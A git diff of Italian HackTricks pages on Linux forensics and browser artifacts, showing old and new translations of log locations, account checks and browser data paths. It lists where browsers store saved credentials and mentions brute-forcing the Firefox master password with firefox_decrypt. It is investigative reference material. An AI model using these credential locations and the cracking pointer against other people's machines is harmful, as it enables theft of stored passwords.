- **/var/log/auth.log** (Debian) o **/var/log/secure** (RedHat): Registrano tentativi di autenticazione, accessi riusciti e falliti. - **/var/log/auth.log** (Debian) o **/var/log/secure** (RedHat): Registrano tentativi di autenticazione, accessi riusciti e falliti.
- Utilizzare `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` per filtrare eventi di autenticazione rilevanti. - Utilizza `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` per filtrare eventi di autenticazione rilevanti.
- **/var/log/boot.log**: Contiene messaggi di avvio del sistema. - **/var/log/boot.log**: Contiene messaggi di avvio del sistema.
- **/var/log/maillog** o **/var/log/mail.log**: Registri delle attività del server di posta elettronica, utili per tracciare servizi correlati alla posta elettronica. - **/var/log/maillog** o **/var/log/mail.log**: Registri delle attività del server di posta elettronica, utili per tracciare servizi correlati alla posta elettronica.
- **/var/log/kern.log**: Memorizza messaggi del kernel, inclusi errori e avvisi. - **/var/log/kern.log**: Memorizza messaggi del kernel, inclusi errori e avvisi.
- **/var/log/dmesg**: Contiene messaggi dei driver di dispositivo. - **/var/log/dmesg**: Contiene messaggi dei driver del dispositivo.
- **/var/log/faillog**: Registra tentativi di accesso falliti, aiutando nelle indagini sulle violazioni di sicurezza. - **/var/log/faillog**: Registra tentativi di accesso falliti, utili nelle indagini di violazioni di sicurezza.
- **/var/log/cron**: Registra l'esecuzione dei job cron. - **/var/log/cron**: Registra l'esecuzione dei job cron.
- **/var/log/daemon.log**: Traccia le attività dei servizi in background. - **/var/log/daemon.log**: Traccia le attività dei servizi in background.
- **/var/log/btmp**: Documenta tentativi di accesso falliti. - **/var/log/btmp**: Documenta tentativi di accesso falliti.
- **/var/log/httpd/**: Contiene log degli errori e degli accessi di Apache HTTPD. - **/var/log/httpd/**: Contiene log degli errori e di accesso di Apache HTTPD.
- **/var/log/mysqld.log** o **/var/log/mysql.log**: Registri delle attività del database MySQL. - **/var/log/mysqld.log** o **/var/log/mysql.log**: Registri delle attività del database MySQL.
- **/var/log/xferlog**: Registra trasferimenti di file FTP. - **/var/log/xferlog**: Registra trasferimenti di file FTP.
- **/var/log/**: Controllare sempre i log inaspettati qui. - **/var/log/**: Controlla sempre i log inaspettati qui.
{% hint style="info" %} {% hint style="info" %}
I log di sistema e i sottosistemi di audit di Linux possono essere disabilitati o eliminati in caso di intrusione o incidente di malware. Poiché i log nei sistemi Linux generalmente contengono alcune delle informazioni più utili sulle attività dannose, gli intrusi li eliminano di routine. Pertanto, quando si esaminano i file di log disponibili, è importante cercare lacune o voci fuori sequenza che potrebbero essere un'indicazione di eliminazione o manomissione. I log di sistema e i sottosistemi di audit di Linux possono essere disabilitati o eliminati in caso di intrusione o incidente da malware. Poiché i log nei sistemi Linux generalmente contengono alcune delle informazioni più utili sulle attività dannose, gli intrusi li eliminano regolarmente. Pertanto, quando si esaminano i file di log disponibili, è importante cercare interruzioni o voci fuori sequenza che potrebbero essere un'indicazione di eliminazione o manomissione.
{% endhint %} {% endhint %}
**Linux mantiene uno storico dei comandi per ciascun utente**, memorizzato in: **Linux mantiene uno storico dei comandi per ciascun utente**, memorizzato in:
@ -320,7 +320,7 @@ Alcune app generano anche i propri log:
[**usbrip**](https://github.com/snovvcrash/usbrip) è un piccolo software scritto in Python 3 puro che analizza i file di log di Linux (`/var/log/syslog*` o `/var/log/messages*` a seconda della distribuzione) per costruire tabelle storiche degli eventi USB. [**usbrip**](https://github.com/snovvcrash/usbrip) è un piccolo software scritto in Python 3 puro che analizza i file di log di Linux (`/var/log/syslog*` o `/var/log/messages*` a seconda della distribuzione) per costruire tabelle storiche degli eventi USB.
È interessante **conoscere tutti gli USB che sono stati utilizzati** e sarà più utile se si dispone di un elenco autorizzato di USB per individuare "eventi di violazione" (l'uso di USB che non sono all'interno di quell'elenco). È interessante **conoscere tutti gli USB utilizzati** e sarà più utile se si dispone di un elenco autorizzato di USB per individuare "eventi di violazione" (l'uso di USB che non sono all'interno di tale elenco).
### Installazione ### Installazione
```bash ```bash
@ -340,26 +340,26 @@ Ulteriori esempi e informazioni all'interno del github: [https://github.com/snov
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\ Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
## Esamina gli Account Utente e le Attività di Accesso ## Esaminare gli Account Utente e le Attività di Accesso
Esamina i file _**/etc/passwd**_, _**/etc/shadow**_ e i **log di sicurezza** per individuare nomi o account insoliti creati e/o utilizzati in prossimità di eventi non autorizzati noti. Inoltre, controlla possibili attacchi di forza bruta sudo.\ Esamina i file _**/etc/passwd**_, _**/etc/shadow**_ e i **log di sicurezza** per individuare nomi o account insoliti creati e/o utilizzati in prossimità di eventi non autorizzati noti. Controlla anche possibili attacchi di forza bruta sudo.\
Inoltre, controlla file come _**/etc/sudoers**_ e _**/etc/groups**_ per privilegi inaspettati assegnati agli utenti.\ Inoltre, controlla file come _**/etc/sudoers**_ e _**/etc/groups**_ per privilegi inaspettati assegnati agli utenti.\
Infine, cerca account senza **password** o con password **facilmente indovinabili**. Infine, cerca account senza **password** o con password **facilmente indovinabili**.
## Esamina il File System ## Esaminare il File System
### Analisi delle Strutture del File System nelle Indagini sui Malware ### Analisi delle Strutture del File System nell'Investigazione di Malware
Nelle indagini sugli incidenti di malware, la struttura del file system è una fonte cruciale di informazioni, rivelando sia la sequenza degli eventi che il contenuto del malware. Tuttavia, gli autori di malware stanno sviluppando tecniche per ostacolare questa analisi, come la modifica dei timestamp dei file o l'evitare il file system per lo storage dei dati. Nell'indagine sugli incidenti di malware, la struttura del file system è una fonte cruciale di informazioni, rivelando sia la sequenza degli eventi che il contenuto del malware. Tuttavia, gli autori di malware stanno sviluppando tecniche per ostacolare questa analisi, come la modifica dei timestamp dei file o l'evitare il file system per lo storage dei dati.
Per contrastare questi metodi anti-forensi, è essenziale: Per contrastare questi metodi anti-forensi, è essenziale:
* **Condurre un'analisi dettagliata della timeline** utilizzando strumenti come **Autopsy** per visualizzare le timeline degli eventi o il `mactime` di **Sleuth Kit** per dati dettagliati sulla timeline. * **Condurre un'analisi dettagliata della timeline** utilizzando strumenti come **Autopsy** per visualizzare le timeline degli eventi o `mactime` di **Sleuth Kit** per dati dettagliati sulla timeline.
* **Investigare script inaspettati** nel $PATH del sistema, che potrebbero includere script shell o PHP utilizzati dagli attaccanti. * **Investigare script inaspettati** nel $PATH del sistema, che potrebbero includere script shell o PHP utilizzati dagli attaccanti.
* **Esaminare `/dev` per file atipici**, poiché tradizionalmente contiene file speciali, ma potrebbe contenere file correlati al malware. * **Esaminare `/dev` per file atipici**, poiché tradizionalmente contiene file speciali, ma potrebbe contenere file correlati al malware.
* **Cercare file o directory nascosti** con nomi come ".. " (punto punto spazio) o "..^G" (punto punto control-G), che potrebbero nascondere contenuti dannosi. * **Cercare file o directory nascosti** con nomi come ".. " (punto punto spazio) o "..^G" (punto punto control-G), che potrebbero nascondere contenuti dannosi.
@ -421,17 +421,17 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFTs**](https://opensea.io/collection/the-peass-family) esclusivi * Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFTs**](https://opensea.io/collection/the-peass-family) esclusivi
* Ottieni il [**PEASS ufficiale & HackTricks swag**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) **gruppo Discord**](https://discord.gg/hRep4RUj7f) o al **gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
**Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). **Condividi i tuoi trucchi di hacking inviando PR al** [**repo di hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo di hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti comunitari più avanzati al mondo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}

View file

@ -2,7 +2,7 @@
<details> <details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks: Altri modi per supportare HackTricks:
@ -17,22 +17,22 @@ Altri modi per supportare HackTricks:
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) per creare e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %}
## Artefatti dei Browser <a href="#id-3def" id="id-3def"></a> ## Artefatti dei Browser <a href="#id-3def" id="id-3def"></a>
Gli artefatti del browser includono vari tipi di dati memorizzati dai browser web, come la cronologia di navigazione, i segnalibri e i dati della cache. Questi artefatti sono conservati in cartelle specifiche all'interno del sistema operativo, differendo per posizione e nome tra i browser, ma generalmente memorizzando tipi di dati simili. Gli artefatti del browser includono vari tipi di dati memorizzati dai browser web, come la cronologia di navigazione, i segnalibri e i dati della cache. Questi artefatti sono conservati in cartelle specifiche all'interno del sistema operativo, differendo per posizione e nome tra i browser, ma generalmente memorizzando tipi di dati simili.
Ecco un riassunto dei più comuni artefatti del browser: Ecco un riassunto degli artefatti del browser più comuni:
* **Cronologia di Navigazione**: Traccia le visite dell'utente ai siti web, utile per identificare visite a siti dannosi. * **Cronologia di Navigazione**: Traccia le visite dell'utente ai siti web, utile per identificare le visite a siti dannosi.
* **Dati di Autocompletamento**: Suggerimenti basati su ricerche frequenti, offrendo informazioni quando combinati con la cronologia di navigazione. * **Dati di Autocompletamento**: Suggerimenti basati su ricerche frequenti, offrendo informazioni quando combinati con la cronologia di navigazione.
* **Segnalibri**: Siti salvati dall'utente per un accesso rapido. * **Segnalibri**: Siti salvati dall'utente per un accesso rapido.
* **Estensioni e Componenti Aggiuntivi**: Estensioni del browser o componenti aggiuntivi installati dall'utente. * **Estensioni e Componenti Aggiuntivi**: Estensioni del browser o componenti aggiuntivi installati dall'utente.
* **Cache**: Memorizza contenuti web (ad esempio, immagini, file JavaScript) per migliorare i tempi di caricamento del sito web, preziosi per l'analisi forense. * **Cache**: Memorizza contenuti web (ad esempio, immagini, file JavaScript) per migliorare i tempi di caricamento del sito, preziosi per l'analisi forense.
* **Accessi**: Credenziali di accesso memorizzate. * **Accessi**: Credenziali di accesso memorizzate.
* **Favicons**: Icone associate ai siti web, che appaiono in schede e segnalibri, utili per informazioni aggiuntive sulle visite dell'utente. * **Favicons**: Icone associate ai siti web, che appaiono in schede e segnalibri, utili per informazioni aggiuntive sulle visite dell'utente.
* **Sessioni del Browser**: Dati relativi alle sessioni del browser aperte. * **Sessioni del Browser**: Dati relativi alle sessioni del browser aperte.
@ -49,7 +49,7 @@ Firefox organizza i dati dell'utente all'interno di profili, memorizzati in posi
* **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/` * **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
* **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\` * **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
Un file `profiles.ini` all'interno di queste directory elenca i profili utente. I dati di ciascun profilo sono memorizzati in una cartella denominata con la variabile `Path` all'interno di `profiles.ini`, situata nella stessa directory di `profiles.ini` stesso. Se manca la cartella di un profilo, potrebbe essere stata eliminata. Un file `profiles.ini` all'interno di queste directory elenca i profili utente. I dati di ciascun profilo sono memorizzati in una cartella denominata nella variabile `Path` all'interno di `profiles.ini`, situata nella stessa directory di `profiles.ini` stessa. Se manca la cartella di un profilo, potrebbe essere stata eliminata.
All'interno di ciascuna cartella del profilo, è possibile trovare diversi file importanti: All'interno di ciascuna cartella del profilo, è possibile trovare diversi file importanti:
@ -59,19 +59,19 @@ All'interno di ciascuna cartella del profilo, è possibile trovare diversi file
* **formhistory.sqlite**: Memorizza i dati dei moduli web. * **formhistory.sqlite**: Memorizza i dati dei moduli web.
* **handlers.json**: Gestisce i gestori di protocollo. * **handlers.json**: Gestisce i gestori di protocollo.
* **persdict.dat**: Parole del dizionario personalizzato. * **persdict.dat**: Parole del dizionario personalizzato.
* **addons.json** e **extensions.sqlite**: Informazioni sulle estensioni installate e sui componenti aggiuntivi. * **addons.json** e **extensions.sqlite**: Informazioni sulle estensioni e i componenti aggiuntivi installati.
* **cookies.sqlite**: Archiviazione dei cookie, con [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) disponibile per l'ispezione su Windows. * **cookies.sqlite**: Archiviazione dei cookie, con [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) disponibile per l'ispezione su Windows.
* **cache2/entries** o **startupCache**: Dati della cache, accessibili tramite strumenti come [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html). * **cache2/entries** o **startupCache**: Dati della cache, accessibili tramite strumenti come [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html).
* **favicons.sqlite**: Memorizza i favicons. * **favicons.sqlite**: Memorizza i favicons.
* **prefs.js**: Impostazioni e preferenze dell'utente. * **prefs.js**: Impostazioni e preferenze dell'utente.
* **downloads.sqlite**: Database dei download più vecchio, ora integrato in places.sqlite. * **downloads.sqlite**: Vecchio database dei download, ora integrato in places.sqlite.
* **thumbnails**: Miniature del sito web. * **thumbnails**: Miniature dei siti web.
* **logins.json**: Informazioni di accesso crittografate. * **logins.json**: Informazioni di accesso crittografate.
* **key4.db** o **key3.db**: Memorizza le chiavi di crittografia per proteggere informazioni sensibili. * **key4.db** o **key3.db**: Memorizza le chiavi di crittografia per proteggere informazioni sensibili.
Inoltre, verificare le impostazioni anti-phishing del browser può essere fatto cercando voci `browser.safebrowsing` in `prefs.js`, indicando se le funzionalità di navigazione sicura sono abilitate o disabilitate. Inoltre, verificare le impostazioni anti-phishing del browser può essere fatto cercando voci `browser.safebrowsing` in `prefs.js`, indicando se le funzionalità di navigazione sicura sono abilitate o disabilitate.
Per cercare di decifrare la password principale, è possibile utilizzare [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\ Per provare a decifrare la password principale, è possibile utilizzare [https://github.com/unode/firefox\_decrypt](https://github.com/unode/firefox\_decrypt)\
Con lo script e la chiamata seguenti è possibile specificare un file password per il brute force: Con lo script e la chiamata seguenti è possibile specificare un file password per il brute force:
{% code title="brute.sh" %} {% code title="brute.sh" %}
@ -99,21 +99,21 @@ Google Chrome memorizza i profili utente in posizioni specifiche in base al sist
All'interno di queste directory, la maggior parte dei dati utente può essere trovata nelle cartelle **Default/** o **ChromeDefaultData/**. I seguenti file contengono dati significativi: All'interno di queste directory, la maggior parte dei dati utente può essere trovata nelle cartelle **Default/** o **ChromeDefaultData/**. I seguenti file contengono dati significativi:
* **History**: Contiene URL, download e parole chiave di ricerca. Su Windows, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) può essere utilizzato per leggere la cronologia. La colonna "Tipo di transizione" ha vari significati, tra cui clic dell'utente sui link, URL digitati, invii di moduli e ricariche della pagina. * **History**: Contiene URL, download e parole chiave di ricerca. Su Windows, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) può essere utilizzato per leggere la cronologia. La colonna "Tipo di transizione" ha vari significati, tra cui clic dell'utente sui link, URL digitati, invio di moduli e ricariche della pagina.
* **Cookies**: Memorizza i cookie. Per l'ispezione, è disponibile [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html). * **Cookies**: Memorizza i cookie. Per l'ispezione, è disponibile [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html).
* **Cache**: Contiene dati memorizzati nella cache. Per l'ispezione, gli utenti Windows possono utilizzare [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html). * **Cache**: Contiene dati memorizzati nella cache. Per l'ispezione, gli utenti Windows possono utilizzare [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html).
* **Segnalibri**: Segnalibri dell'utente. * **Segnalibri**: Segnalibri dell'utente.
* **Web Data**: Contiene la cronologia dei moduli. * **Web Data**: Contiene la cronologia dei moduli.
* **Favicons**: Memorizza le icone dei siti web. * **Favicons**: Memorizza le icone dei siti web.
* **Login Data**: Include credenziali di accesso come nomi utente e password. * **Login Data**: Include credenziali di accesso come nomi utente e password.
* **Sessione Corrente**/**Schede Correnti**: Dati sulla sessione di navigazione corrente e schede aperte. * **Sessione corrente**/**Schede correnti**: Dati sulla sessione di navigazione corrente e schede aperte.
* **Ultima Sessione**/**Ultimi Schede**: Informazioni sui siti attivi durante l'ultima sessione prima della chiusura di Chrome. * **Ultima sessione**/**Ultimi tab**: Informazioni sui siti attivi durante l'ultima sessione prima della chiusura di Chrome.
* **Estensioni**: Directory per estensioni e componenti aggiuntivi del browser. * **Estensioni**: Directory per estensioni e componenti aggiuntivi del browser.
* **Miniature**: Memorizza le miniature dei siti web. * **Miniature**: Memorizza le miniature dei siti web.
* **Preferenze**: Un file ricco di informazioni, inclusi impostazioni per plugin, estensioni, popup, notifiche e altro ancora. * **Preferenze**: Un file ricco di informazioni, inclusi impostazioni per plugin, estensioni, popup, notifiche e altro ancora.
* **Antiphishing integrato del browser**: Per verificare se l'antiphishing e la protezione da malware sono abilitati, eseguire `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Cercare `{"enabled: true,"}` nell'output. * **Antiphishing integrato del browser**: Per verificare se l'antiphishing e la protezione da malware sono attivi, eseguire `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Cercare `{"enabled: true,"}` nell'output.
## **Recupero Dati da Database SQLite** ## **Recupero dati da database SQLite**
Come si può osservare nelle sezioni precedenti, sia Chrome che Firefox utilizzano database **SQLite** per memorizzare i dati. È possibile **recuperare voci eliminate utilizzando lo strumento** [**sqlparse**](https://github.com/padfoot999/sqlparse) **o** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases). Come si può osservare nelle sezioni precedenti, sia Chrome che Firefox utilizzano database **SQLite** per memorizzare i dati. È possibile **recuperare voci eliminate utilizzando lo strumento** [**sqlparse**](https://github.com/padfoot999/sqlparse) **o** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
@ -121,39 +121,39 @@ Come si può osservare nelle sezioni precedenti, sia Chrome che Firefox utilizza
Internet Explorer 11 gestisce i suoi dati e metadati in varie posizioni, aiutando a separare le informazioni memorizzate e i relativi dettagli per un facile accesso e gestione. Internet Explorer 11 gestisce i suoi dati e metadati in varie posizioni, aiutando a separare le informazioni memorizzate e i relativi dettagli per un facile accesso e gestione.
### Archiviazione Metadati ### Archiviazione dei metadati
I metadati per Internet Explorer sono memorizzati in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (con VX che può essere V01, V16 o V24). Inoltre, il file `V01.log` potrebbe mostrare discrepanze di tempo di modifica con `WebcacheVX.data`, indicando la necessità di riparazione utilizzando `esentutl /r V01 /d`. Questi metadati, contenuti in un database ESE, possono essere recuperati e ispezionati utilizzando strumenti come photorec e [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), rispettivamente. All'interno della tabella **Containers**, è possibile distinguere le tabelle o i contenitori specifici in cui è memorizzato ciascun segmento di dati, inclusi dettagli della cache per altri strumenti Microsoft come Skype. I metadati per Internet Explorer sono memorizzati in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (con VX che può essere V01, V16 o V24). Inoltre, il file `V01.log` potrebbe mostrare discrepanze di tempo di modifica con `WebcacheVX.data`, indicando la necessità di riparazione utilizzando `esentutl /r V01 /d`. Questi metadati, ospitati in un database ESE, possono essere recuperati e ispezionati utilizzando strumenti come photorec e [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), rispettivamente. All'interno della tabella **Containers**, è possibile distinguere le tabelle o i contenitori specifici in cui è memorizzato ciascun segmento di dati, inclusi dettagli della cache per altri strumenti Microsoft come Skype.
### Ispezione Cache ### Ispezione della cache
Lo strumento [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) consente l'ispezione della cache, richiedendo la posizione della cartella di estrazione dei dati della cache. I metadati per la cache includono nome file, directory, conteggio accessi, origine URL e timestamp che indicano la creazione della cache, l'accesso, la modifica e i tempi di scadenza. Lo strumento [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) consente l'ispezione della cache, richiedendo la posizione della cartella di estrazione dei dati della cache. I metadati per la cache includono nome file, directory, conteggio accessi, origine URL e timestamp che indicano la creazione della cache, l'accesso, la modifica e i tempi di scadenza.
### Gestione Cookie ### Gestione dei cookie
I cookie possono essere esplorati utilizzando [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), con metadati che comprendono nomi, URL, conteggio accessi e vari dettagli temporali. I cookie persistenti sono memorizzati in `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, mentre i cookie di sessione risiedono in memoria. I cookie possono essere esplorati utilizzando [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), con metadati che comprendono nomi, URL, conteggio accessi e vari dettagli temporali. I cookie persistenti sono memorizzati in `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, mentre i cookie di sessione risiedono in memoria.
### Dettagli Download ### Dettagli dei download
I metadati dei download sono accessibili tramite [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), con contenitori specifici che contengono dati come URL, tipo di file e posizione del download. I file fisici possono essere trovati in `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`. I metadati dei download sono accessibili tramite [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html), con contenitori specifici che contengono dati come URL, tipo di file e posizione del download. I file fisici possono essere trovati in `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
### Cronologia di Navigazione ### Cronologia di navigazione
Per rivedere la cronologia di navigazione, può essere utilizzato [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html), richiedendo la posizione dei file di cronologia estratti e la configurazione per Internet Explorer. I metadati qui includono tempi di modifica e accesso, insieme ai conteggi di accesso. I file di cronologia sono situati in `%userprofile%\Appdata\Local\Microsoft\Windows\History`. Per rivedere la cronologia di navigazione, è possibile utilizzare [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html), richiedendo la posizione dei file di cronologia estratti e la configurazione per Internet Explorer. I metadati qui includono tempi di modifica e accesso, insieme ai conteggi di accesso. I file di cronologia sono situati in `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
### URL Digitati ### URL digitati
Gli URL digitati e i relativi tempi di utilizzo sono memorizzati nel registro di sistema sotto `NTUSER.DAT` in `Software\Microsoft\InternetExplorer\TypedURLs` e `Software\Microsoft\InternetExplorer\TypedURLsTime`, tracciando gli ultimi 50 URL inseriti dall'utente e i loro ultimi tempi di input. Gli URL digitati e i relativi tempi di utilizzo sono memorizzati nel registro di sistema in `NTUSER.DAT` presso `Software\Microsoft\InternetExplorer\TypedURLs` e `Software\Microsoft\InternetExplorer\TypedURLsTime`, tracciando gli ultimi 50 URL inseriti dall'utente e i rispettivi tempi di input.
## Microsoft Edge ## Microsoft Edge
Microsoft Edge memorizza i dati utente in `%userprofile%\Appdata\Local\Packages`. I percorsi per vari tipi di dati sono: Microsoft Edge memorizza i dati utente in `%userprofile%\Appdata\Local\Packages`. I percorsi per vari tipi di dati sono:
* **Percorso Profilo**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC` * **Percorso del profilo**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
* **Cronologia, Cookie e Download**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` * **Cronologia, Cookie e Download**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
* **Impostazioni, Segnalibri e Lista Lettura**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb` * **Impostazioni, Segnalibri e Elenco di lettura**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
* **Cache**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache` * **Cache**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
* **Ultima Sessione Attiva**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active` * **Ultima sessione attiva**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
## Safari ## Safari
@ -165,8 +165,8 @@ I dati di Safari sono memorizzati in `/Users/$User/Library/Safari`. I file chiav
* **TopSites.plist**: Siti più visitati. * **TopSites.plist**: Siti più visitati.
* **Extensions.plist**: Elenco delle estensioni del browser Safari. Utilizzare `plutil` o `pluginkit` per recuperare. * **Extensions.plist**: Elenco delle estensioni del browser Safari. Utilizzare `plutil` o `pluginkit` per recuperare.
* **UserNotificationPermissions.plist**: Domini autorizzati a inviare notifiche push. Utilizzare `plutil` per analizzare. * **UserNotificationPermissions.plist**: Domini autorizzati a inviare notifiche push. Utilizzare `plutil` per analizzare.
* **LastSession.plist**: Schede dall'ultima sessione. Utilizzare `plutil` per analizzare. * **LastSession.plist**: Schede dell'ultima sessione. Utilizzare `plutil` per analizzare.
* **Antiphishing integrato del browser**: Verificare utilizzando `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Una risposta di 1 indica che la funzione è attiva. * **Antiphishing integrato del browser**: Verificare utilizzando `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Una risposta di 1 indica che la funzionalità è attiva.
## Opera ## Opera
@ -186,20 +186,18 @@ Questi percorsi e comandi sono cruciali per accedere e comprendere i dati di nav
